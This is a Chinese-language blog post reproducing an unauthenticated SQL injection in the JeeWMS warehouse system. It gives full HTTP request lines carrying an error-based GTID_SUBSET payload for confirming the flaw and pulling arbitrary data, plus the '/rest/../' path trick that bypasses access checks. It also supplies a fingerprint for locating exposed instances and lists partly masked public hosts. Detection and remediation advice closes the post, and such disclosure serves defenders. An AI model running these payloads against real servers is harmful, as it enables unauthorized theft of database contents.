JeeWMS /rest/../functionController.do SQL注入漏洞复现

Wayyt  6小时前

JeeWMS /rest/../functionController.do SQL注入漏洞复现

0x00 漏洞概述

JeeWMS 是一款开源的企业级仓储管理系统(WMS),提供出入库、库存、基础资料等多种功能模块。该系统的 /rest/../functionController.do 接口存在 SQL 注入漏洞:saverule 动作下的 ruleColumn 参数直接拼入后端 SQL 语句,攻击者以单引号闭合原语句后追加子查询,即可未经认证地通过数据库报错信息回显任意查询结果,进而获取数据库中的敏感信息,风险严重时甚至可能导致数据库被完全控制。

该漏洞披露时间为 2025 年 7 月 21 日,风险评分 7.1。

0x01 影响范围

受影响对象为 JeeWMS 系统。可通过页面特征识别资产:响应正文中同时包含 url:userController.do?userOrgSelect&userId=loginController.do?changeDefaultOrg 两处特征串。

历史采样中观察到多个公网可访问的实例(域名与 IP 均已掩码处理):如 http://www.a****.nethttps://47.103.46.xhttps://114.215.69.x:8443http://47.106.150.x:8080 等,说明公网暴露面真实存在。漏洞利用全程无需登录凭证。

0x02 漏洞分析

漏洞点位于 functionController.dosaverule 动作。ruleColumn 参数在后端被直接拼接进 SQL 语句,未做参数化处理。注入路径采用了一个冗余前缀:

/rest/../functionController.do?saverule&ruleColumn=...&ruleConditions=1

/rest/../ 在 URL 层面等价于根路径,Servlet 容器规范化后最终路由到 functionController.do;但前置的访问控制/拦截逻辑按原始 URI 字符串匹配时,看到的却是 /rest/../functionController.do 这种非常规形态,两者不一致造成了绕过空间(该绕过机制为推断,依据是直接请求 functionController.do 的注入形态需以 /rest/../ 前缀方可命中(预期),且利用全程未携带任何认证信息)。

注入语法本身是经典的报错回显结构:

1' AND GTID_SUBSET(CONCAT(0x7e7e7e,(SELECT ...)),5406)-- CHdz

单引号闭合 ruleColumn 的字符串边界;GTID_SUBSET 的第一个参数要求合法的 GTID 集合字符串,传入 CONCAT(...) 拼出的内容必然非法,MySQL 抛出类型错误时会把 CONCAT 的实参一并带入错误信息回显到响应中,这正是报错注入的取数通道。其中 0x7e7e7e 即三个 ~ 字符(~~~),分别拼接在子查询结果的前后,用作起止定界符,便于把有效结果从报错信息的其他噪声中剥离出来(该用意为推断);ELT(5406=5406,...) 中条件恒真,保证子查询恒被执行;-- CHdz 注释掉语句尾部,保证拼接后语法完整。

0x03 利用链与请求包

利用链分两步:先以固定随机数验证注入点存在,再替换任意子查询取数。该请求无需任何认证头与 Cookie,以下请求包仅保留请求行与 Host 头。

第一步:注入点验证

先生成一个随机数,请求:

GET /rest/../functionController.do?saverule&ruleColumn=1'+AND+GTID_SUBSET(CONCAT(0x7e7e7e,(SELECT+(ELT(5406=5406,md5(<随机数>)))),0x7e7e7e),5406)--+CHdz&ruleConditions=1 HTTP/1.1
Host: <目标地址>

判定条件:返回状态码 200,且响应正文中出现该随机数对应的 md5 值。md5 值由执行时计算、无法被服务端静态返回,命中即证明 ruleColumn 的拼接注入真实成立。

第二步:任意数据提取

md5(<随机数>) 位置替换为经 URL 编码的任意子查询,例如查询当前数据库版本:

GET /rest/../functionController.do?saverule&ruleColumn=1'+AND+GTID_SUBSET(CONCAT(0x7e7e7e,(SELECT+(ELT(5406=5406,(<自定义子查询>)))),0x7e7e7e),5406)--+CHdz&ruleConditions=1 HTTP/1.1
Host: <目标地址>

判定条件:状态码为 200;随后从响应正文提取被 ~~~ 包裹的片段,即子查询结果。依 POC 提取逻辑推断:匹配 ~~~ 与下一个 ~~~ 之间、且不以引号开头的内容,可稳定取出单值查询结果。配合 LIMIT/substring 等手段即可逐条遍历库表数据,与"获取数据库敏感信息"的危害定性一致。

0x04 检测与修复建议

检测:对部署 JeeWMS 的资产,在 Web 访问日志中检索 /rest/../functionController.do 路径及 ruleColumn 参数中携带 GTID_SUBSETCONCAT(0x7e7e7eELT( 等特征的请求;命中即应视为已遭利用,排查数据库访问记录并轮换相关凭据。

修复:对 ruleColumn 等入参做严格过滤与校验,改用参数化查询,避免 SQL 语句直接拼接;升级到最新版本的 JeeWMS;同时建议收敛 /rest/../ 类冗余路径的访问,统一 URL 规范化后再做鉴权判定,防止路径变形绕过。

0x05 参考资料

1. JeeWMS 项目开源仓库:https://gitee.com/erzhongxmu/jeewmsapp

最新评论

昵称
邮箱
提交评论